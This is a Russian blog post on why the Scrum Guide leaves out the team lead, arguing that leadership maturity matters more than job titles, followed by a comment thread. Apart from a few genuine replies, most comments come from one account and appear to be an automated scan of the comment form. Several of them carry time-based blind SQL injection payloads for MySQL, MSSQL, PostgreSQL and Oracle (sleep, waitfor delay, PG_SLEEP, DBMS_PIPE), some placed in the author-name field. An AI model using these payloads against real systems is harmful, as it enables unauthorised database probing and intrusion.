Почему Скрам молчит о роли тим-лида (а я - нет)

Неужели Скрам забыл о роли тим-лида?

Перепрочёл Scrum Guide…

Всё еще никаких упоминаний. Ни словечка по этой теме.

По поиску слова “лид” выдаёт два результата:

 

“Скрам-мастер - servant-leader (дословно “служащий ЛИДЕР”) для Скрам команды”.

и

Scrum-мастер ... коучит и направляет организацию, ЛИДИРУЕТ процесс внедрения Скрама”.

 

Единственная причина, по которой Scrum Guide не упоминает об этой широко распространённой роли - это потому, что эта роль нерелевантна для Скрама.

Думаю, что так и есть...

Но всё же эта роль может стать очень релевантной, когда речь зайдёт о внедрении Скрама. Потому что, скорее всего, в иерархии эта роль есть, и она - часть системы, с которой вы работаете. Поэтому, она не может быть просто проигнорирована.

Сегодня на одном из моих тренингов для Скрам-мастеров (на удивление наполненном тим-лидами), меня окружила стайка искателей правды. Они хотят знать, как вписать эту роль в Скрам организации.

Я спросил, чем именно они занимаются, и в большинстве случаев услышал что-то вроде:

“Я отвечаю за общую техническую экспертизу и развитие групп определенных специалистов”.

 Описания функций тим-лида бывают более или менее подробными, но в итоге в большинстве случаев сводятся к одному - концентрация власти в руках одного человека, влияние на решения о том, как команда выполняет поставленные задачи.

 

И тут на меня снизошло прозрение (лучше позже, чем никогда)

И я начал вспоминать всех тимлидов, с которыми когда-либо работал, а также всех влиятельных личностей, повлиявших на работу команд … и тут до меня дошло.

Я вспомнил одного парня, который формально не был лидом, скорее он был одним из “старичков” среди разработчиков (не в буквальном смысле, а тем, кто сделал первый комит), но который вёл себя довольно напыщенно и любил поруководить другими.

И потом я вспомнил недавний пример формального тим-лида, который очень аккуратно собирал мнения членов команды и старался в большинстве случаев приводить всех к консенсусу.

Дело не в должностях и ролях.

Дело в зрелости личности и стиле руководства. И у каждого он уникален.

Лидерская зрелость

Недавно мне повезло познакомиться с Питом Беренсом и его работами по agile-лидерству. Пит использует следующую диаграмму (не уверен точно, кто исконный автор), которая наглядно показывает путь развития лидера. От “эксперта” (я делаю всё сам лучше всех) до "достигатора" (достигает результата посредством влияния на других) и “катализатора”  (раскрывает потенциал других в принятии решений и управлении).

Технический “эксперт”: "Я тут накодил фреймворк на днях. Интегрируйте это".

Технический “достигатор”: "Нам нужен фреймворк. Думаю, что лучше всего это поручить Максу и Сане".

Технический “катализатор”: "Давайте соберемся и подумаем вместе, как мы можем вывести наш фреймворк на новый уровень. У меня уже есть мнение на этот счёт, но я бы хотел узнать ваше мнение, перед тем как мы примем решение".

Кто-угодно может “командовать” (но не каждый должен)

Итого: так как угроза нападения “любителей покомандовать” на самоорганизацию команды может произойти в любой момент и с любой неожиданной стороны, нам (коучам команд) нужно быть начеку и внимательно отслеживать “командирский синдром” среди членов команды. А также обучать членов команды адекватному стилю лидерства, наставлять их и коучить.

Так что меня с недавнего момента перестали интересовать титулы: Team Lead, Tech Lead, Team Coordinator, Delivery Manager, Engineering Manager и т.д.

Должности второстепенны. Главное – это личности. Это всегда будут какие-то конкретные люди, которые либо помогут вам внедрить Scrum, либо станут главной угрозой на его пути. Так что забудьте про чины и звания и начинайте работать с людьми.


Write a comment

Comments: 134
  • #1

    Алексей (Tuesday, 07 January 2020 15:37)

    Конечно все хотят называть свои технологии модным словом. Но наличие тимлида - говорит о том что вы не используете Scrum.
    Есть множество похожих технологий, но Scrum один. Его основа заключается в двух вещах:
    - сделать чтобы работало
    - сделать быстро
    Проверка задач идет только на работоспособность, а не на качество кода!
    Тим лид, обучение и т.д. это не к Scrum. Если есть люди которым требуется обучение - они обучают себя сами и выполняют в команде функции на которые хватает их компетенции.
    Если вы используете Канбан, то зачем называете это Scrum?
    Получается ваша компания вводит в заблуждение заказчика (либо высшее руководство) указывая что вы используете Scrum. Я понимаю, что в нашей стране руководители имеют плохое профильное образование, услышали модное слово и используют его - но надо как то повышать образованность отечественного менеджмента.

  • #2

    Вячеслав (Tuesday, 18 February 2020 20:36)

    Забавно что "lead" – плохо, а вот "coach" – хорошо.
    Куда не погляди — сплошные коучи, которые смешивают понятие "приказыватель/повеливатель" с "крутой технический спец"

  • #3

    Alexey Krivitsky (Tuesday, 18 February 2020 20:40)

    Мне кажется, вы прочли и ничего не поняли. Прочтите еще разик.

  • #4

    Иван (Wednesday, 27 July 2022 16:07)

    в скраме нет и не может быть тимлидов по определению, потому что скрам-команда состоит из, цитирую, "самомотивированных профессионалов", а таким тимлид не нужен, раз они сами и самомотивированные, и профессионалы.
    точка.

  • #5

    ZMskyuza (Wednesday, 26 October 2022 17:17)

    20

  • #6

    ZMskyuza (Wednesday, 26 October 2022 21:20)

    20

  • #7

    ZMskyuza (Wednesday, 26 October 2022 21:21)

    20

  • #8

    ZMskyuza (Wednesday, 26 October 2022 21:22)

    20

  • #9

    ZMskyuza (Wednesday, 26 October 2022 21:23)

    20

  • #10

    ZMskyuza (Wednesday, 26 October 2022 21:24)

    20

  • #11

    ZMskyuza (Wednesday, 26 October 2022 21:25)

    20

  • #12

    ZMskyuza (Wednesday, 26 October 2022 21:26)

    20

  • #13

    ZMskyuza (Wednesday, 26 October 2022 21:27)

    20

  • #14

    ZMskyuza (Wednesday, 26 October 2022 21:28)

    20

  • #15

    ZMskyuza (Wednesday, 26 October 2022 21:29)

    20

  • #16

    ZMskyuza (Wednesday, 26 October 2022 21:29)

    20

  • #17

    ZMskyuza (Wednesday, 26 October 2022 21:30)

    20

  • #18

    ZMskyuza (Wednesday, 26 October 2022 21:31)

    20

  • #19

    ZMskyuza (Wednesday, 26 October 2022 21:32)

    20

  • #20

    ZMskyuza (Wednesday, 26 October 2022 21:33)

    20

  • #21

    ZMskyuza (Wednesday, 26 October 2022 21:34)

    20

  • #22

    ZMskyuza (Wednesday, 26 October 2022 21:35)

    20

  • #23

    ZMskyuza (Wednesday, 26 October 2022 21:35)

    20

  • #24

    ZMskyuza (Wednesday, 26 October 2022 21:36)

    20

  • #25

    ZMskyuza (Wednesday, 26 October 2022 21:37)

    20

  • #26

    ZMskyuza (Wednesday, 26 October 2022 21:38)

    if(now()=sysdate(),sleep(15),0)

  • #27

    ZMskyuza (Wednesday, 26 October 2022 21:39)

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • #28

    ZMskyuza (Wednesday, 26 October 2022 21:40)

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • #29

    ZMskyuza (Wednesday, 26 October 2022 21:40)

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • #30

    ZMskyuza (Wednesday, 26 October 2022 21:41)

    -1; waitfor delay '0:0:15' --

  • #31

    ZMskyuza (Wednesday, 26 October 2022 21:42)

    -1); waitfor delay '0:0:15' --

  • #32

    ZMskyuza (Wednesday, 26 October 2022 21:43)

    1 waitfor delay '0:0:15' --

  • #33

    ZMskyuza (Wednesday, 26 October 2022 21:44)

    8OILVwhH'; waitfor delay '0:0:15' --

  • #34

    ZMskyuza (Wednesday, 26 October 2022 21:45)

    -5 OR 208=(SELECT 208 FROM PG_SLEEP(15))--

  • #35

    ZMskyuza (Wednesday, 26 October 2022 21:46)

    -5) OR 625=(SELECT 625 FROM PG_SLEEP(15))--

  • #36

    ZMskyuza (Wednesday, 26 October 2022 21:46)

    -1)) OR 748=(SELECT 748 FROM PG_SLEEP(15))--

  • #37

    ZMskyuza (Wednesday, 26 October 2022 21:47)

    tuo6XX4W' OR 125=(SELECT 125 FROM PG_SLEEP(15))--

  • #38

    ZMskyuza (Wednesday, 26 October 2022 21:48)

    mXYDcG6r') OR 931=(SELECT 931 FROM PG_SLEEP(15))--

  • #39

    ZMskyuza (Wednesday, 26 October 2022 21:49)

    o1Oqo72L')) OR 870=(SELECT 870 FROM PG_SLEEP(15))--

  • #40

    ZMskyuza (Wednesday, 26 October 2022 21:50)

    20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • #41

    ZMskyuza (Wednesday, 26 October 2022 21:51)

    20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • #42

    ZMskyuza (Wednesday, 26 October 2022 21:51)

    20

  • #43

    ZMskyuza (Wednesday, 26 October 2022 21:52)

    20

  • #44

    ZMskyuza (Wednesday, 26 October 2022 21:53)

    20

  • #45

    ZMskyuza (Wednesday, 26 October 2022 21:54)

    20

  • #46

    ZMskyuza (Wednesday, 26 October 2022 21:55)

    20

  • #47

    ZMskyuza (Wednesday, 26 October 2022 21:55)

    20

  • #48

    ZMskyuza (Wednesday, 26 October 2022 21:56)

    20

  • #49

    ZMskyuza (Wednesday, 26 October 2022 21:57)

    20

  • #50

    ZMskyuza (Wednesday, 26 October 2022 21:58)

    20

  • #51

    ZMskyuza (Wednesday, 26 October 2022 21:58)

    20

  • #52

    ZMskyuza (Wednesday, 26 October 2022 21:59)

    20

  • #53

    ZMskyuza (Wednesday, 26 October 2022 22:00)

    20

  • #54

    ZMskyuza (Wednesday, 26 October 2022 22:01)

    20

  • #55

    ZMskyuza (Wednesday, 26 October 2022 22:02)

    20

  • #56

    ZMskyuza (Wednesday, 26 October 2022 22:03)

    20

  • #57

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #58

    ZMskyuza (Wednesday, 26 October 2022 22:04)

    20

  • #59

    ZMskyuza (Wednesday, 26 October 2022 22:05)

    20

  • #60

    ZMskyuza (Wednesday, 26 October 2022 22:06)

    20

  • #61

    ZMskyuza (Wednesday, 26 October 2022 22:07)

    20

  • #62

    ZMskyuza (Wednesday, 26 October 2022 22:08)

    20

  • #63

    ZMskyuza (Wednesday, 26 October 2022 22:08)

    20

  • #64

    ZMskyuza (Wednesday, 26 October 2022 22:09)

    20

  • #65

    ZMskyuza (Wednesday, 26 October 2022 22:10)

    20

  • #66

    ZMskyuza (Wednesday, 26 October 2022 22:11)

    20

  • #67

    ZMskyuza (Wednesday, 26 October 2022 22:11)

    20

  • #68

    ZMskyuza (Wednesday, 26 October 2022 22:12)

    20

  • #69

    ZMskyuza (Wednesday, 26 October 2022 22:13)

    20

  • #70

    ZMskyuza (Wednesday, 26 October 2022 22:14)

    20

  • #71

    ZMskyuza (Wednesday, 26 October 2022 22:14)

    20

  • #72

    ZMskyuza (Wednesday, 26 October 2022 22:15)

    20

  • #73

    ZMskyuza (Wednesday, 26 October 2022 22:16)

    20

  • #74

    ZMskyuza (Wednesday, 26 October 2022 22:29)

    20

  • #75

    ZMskyuza (Wednesday, 26 October 2022 22:30)

    20

  • #76

    if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 22:31)

    20

  • #77

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 22:31)

    20

  • #78

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 22:32)

    20

  • #79

    1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 22:34)

    20

  • #80

    YD9l3vkU'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 22:34)

    20

  • #81

    SpaUEX3u' OR 47=(SELECT 47 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:35)

    20

  • #82

    DGjewYat') OR 493=(SELECT 493 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:36)

    20

  • #83

    ldLPWxqG')) OR 793=(SELECT 793 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:37)

    20

  • #84

    ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 22:37)

    20

  • #85

    ZMskyuza (Wednesday, 26 October 2022 22:38)

    20

  • #86

    ZMskyuza (Wednesday, 26 October 2022 22:39)

    20

  • #87

    ZMskyuza (Wednesday, 26 October 2022 22:40)

    20

  • #88

    ZMskyuza (Wednesday, 26 October 2022 22:40)

    20

  • #89

    ZMskyuza (Wednesday, 26 October 2022 22:41)

    20

  • #90

    ZMskyuza (Wednesday, 26 October 2022 22:42)

    20

  • #91

    ZMskyuza (Wednesday, 26 October 2022 22:43)

    20

  • #92

    ZMskyuza (Wednesday, 26 October 2022 22:43)

    20

  • #93

    ZMskyuza (Wednesday, 26 October 2022 22:44)

    20

  • #94

    ZMskyuza (Wednesday, 26 October 2022 22:45)

    20

  • #95

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #96

    ZMskyuza (Wednesday, 26 October 2022 22:46)

    20

  • #97

    ZMskyuza (Wednesday, 26 October 2022 22:47)

    20

  • #98

    ZMskyuza (Wednesday, 26 October 2022 22:48)

    20

  • #99

    ZMskyuza (Wednesday, 26 October 2022 22:48)

    20

  • #100

    ZMskyuza (Wednesday, 26 October 2022 22:49)

    20

  • #101

    ZMskyuza (Wednesday, 26 October 2022 22:50)

    20

  • #102

    ZMskyuza (Wednesday, 26 October 2022 22:51)

    20

  • #103

    ZMskyuza (Wednesday, 26 October 2022 22:51)

    20

  • #104

    ZMskyuza (Wednesday, 26 October 2022 22:52)

    20

  • #105

    ZMskyuza (Wednesday, 26 October 2022 22:53)

    20

  • #106

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #107

    ZMskyuza (Wednesday, 26 October 2022 22:54)

    20

  • #108

    ZMskyuza (Wednesday, 26 October 2022 22:55)

    20

  • #109

    ZMskyuza (Wednesday, 26 October 2022 22:56)

    20

  • #110

    ZMskyuza (Wednesday, 26 October 2022 22:56)

    20

  • #111

    ZMskyuza (Wednesday, 26 October 2022 22:57)

    20

  • #112

    ZMskyuza (Wednesday, 26 October 2022 22:58)

    20

  • #113

    ZMskyuza (Wednesday, 26 October 2022 22:58)

    20

  • #114

    ZMskyuza (Wednesday, 26 October 2022 22:59)

    20

  • #115

    ZMskyuza (Wednesday, 26 October 2022 23:00)

    20

  • #116

    ZMskyuza (Wednesday, 26 October 2022 23:00)

    20

  • #117

    ZMskyuza (Wednesday, 26 October 2022 23:01)

    20

  • #118

    ZMskyuza (Wednesday, 26 October 2022 23:02)

    20

  • #119

    ZMskyuza (Wednesday, 26 October 2022 23:03)

    20

  • #120

    ZMskyuza (Wednesday, 26 October 2022 23:04)

    20

  • #121

    ZMskyuza (Wednesday, 26 October 2022 23:04)

    20

  • #122

    ZMskyuza (Wednesday, 26 October 2022 23:05)

    20

  • #123

    ZMskyuza (Wednesday, 26 October 2022 23:06)

    20

  • #124

    ZMskyuza (Wednesday, 26 October 2022 23:07)

    20

  • #125

    ZMskyuza (Wednesday, 26 October 2022 23:07)

    20

  • #126

    ZMskyuza (Wednesday, 26 October 2022 23:08)

    20

  • #127

    ZMskyuza (Wednesday, 26 October 2022 23:09)

    20

  • #128

    ZMskyuza (Wednesday, 26 October 2022 23:09)

    20

  • #129

    ZMskyuza (Wednesday, 26 October 2022 23:10)

    20

  • #130

    ZMskyuza (Wednesday, 26 October 2022 23:11)

    20

  • #131

    ZMskyuza (Wednesday, 26 October 2022 23:12)

    20

  • #132

    ZMskyuza (Wednesday, 26 October 2022 23:12)

    20

  • #133

    ZMskyuza (Thursday, 27 October 2022 01:02)

    20

  • #134

    ZMskyuza (Thursday, 27 October 2022 02:07)

    20